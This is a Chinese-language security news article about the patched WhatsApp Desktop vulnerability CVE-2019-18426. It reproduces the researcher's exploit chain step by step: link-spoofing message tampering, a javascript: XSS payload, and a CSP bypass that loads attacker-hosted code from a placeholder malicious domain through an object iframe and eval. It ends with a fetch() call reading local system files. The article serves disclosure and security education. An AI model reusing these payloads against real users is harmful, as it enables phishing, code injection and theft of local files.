Facebook修复WhatsApp中可让黑客访问本地文件的漏洞
Facebook最近刚解决了WhatsApp中的一个严重漏洞(被标记为CVE-2019-18426),它可让攻击者从macOS和Windows的本地文件系统中读取敏感文件。
根据Facebook发布的安全通告,WhatsApp桌面版与iPhone版WhatsApp中的漏洞涉及跨站脚本和本地文件读取。攻击者只需诱骗受害者点击一个特别制作的文本信息中的链接预览,即可发动攻击。
CVE-2019-18426影响了v0.3.9309之前版本的WhatsApp桌面版本,以及2.20.1.: 01-21-2020之前的iPhone版本WhatsApp。
该漏洞的CVSS 3.x评分为8.2,是由来自PerimeterX的Gal Weizman发现的。
Weizman首先发现WhatsApp的内容安全策略(CSP)存在缺陷,可导致桌面版应用中的XSS生效,随后通过进一步的研究,在Windows和macOS的WhatsApp桌面版应用获得了本地文件系统的读权限。
安全专家表示,为了保证你的电脑安全,请尽快升级到最新版的软件。
“我演示了如何使用fetch()这个API从本地文件系统读取文件,例如读取C:\Windows\System32\drivers\etc\hosts
这个敏感文件。”
攻击步骤
1.和以前的一项研究有关。在网页版的WhatsApp中,研究者可以通过篡改代码改变对某条消息的回复,这主要和WhatsApp Web UI有关,效果如下:
2.消息渲染中利用@实现的危险重定向
当你发送消息https://facebook.com
时,会看到:
通过篡改:
e.__x_body = e.__x_matchedText = "https://example.com";
可实现:
更进一步:
e.__x_body = e.__x_matchedText ="Join Facebook! https://facebook.com+login_oage&welcome_to_facebook=true×tamp=42837643@bit.ly/2SfZikR Become a friend of mine!";
现在这个链接看起来是导向Facebook,但其实是我指定的网站。
3.利用javascript:
实现XSS
通过摸索,通过篡改代码:
e.__x_body = e.__x_matchedText = 'javascript:"https://example.com";alert(document.domain)';
实现了XSS攻击!
但是由于WhatsApp的某些机制,利用还有些问题,我必须创建一个长度较短的payload,从外部加载其他payload。
4.绕过WhatsApp的CSP规则
Google的CSP评估程序会立刻告诉你这个网站的CSP配置:
你可以看到最底下的object-src [missing]
,这意味着我可以使用object
从任意源加载一个iframe
。
于是我可以利用javascript:
实现注入:
var payload = `
hard_expire_time.innerHTML +=
'<object data="https://MY_MALICIOUS_DOMAIN/MY_PAYLOAD_iframe.html" />';
onmessage=(e)=>{eval(JSON.parse(e.data))};
`;
payload = `javascript:"https://facebook.com";eval(atob("${btoa(payload)}"))`;
e.__x_body = e.__x_matchedText = payload;
其中https://MY_MALICIOUS_DOMAIN/MY_PAYLOAD_iframe.html
的内容为:
<html>
<head></head>
<body>
<script>
top.postMessage(
JSON.stringify(
"open('https://facebook.com');
alert('external payload');"
),
"*");
</script>
</body>
</html>
使用XSS加载iframe,监听不同窗口发布的消息。然后使用iframe将带有外部代码的消息发布到顶部窗口,此时XSS将被执行,从iframe接收消息,在web.whatsapp.com
中解析并执行payload。
5.读取文件
通过利用fetch()这个API,可以实现本地文件读取,相关代码如下(配合XSS):
alert(navigator.userAgent);
(async function(){
// read "file:///C:/Windows/System32/drivers/etc/hosts" content
const r = await fetch('file:///C:/Windows/System32/drivers/etc/hosts);
const t = await r.text();
alert(t)
}())
作者还表示可能存在RCE,但还未发现。
本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
来源:https://securityaffairs.co/wordpress/97331/hacking/whatsapp-bug-fixed.html
最新评论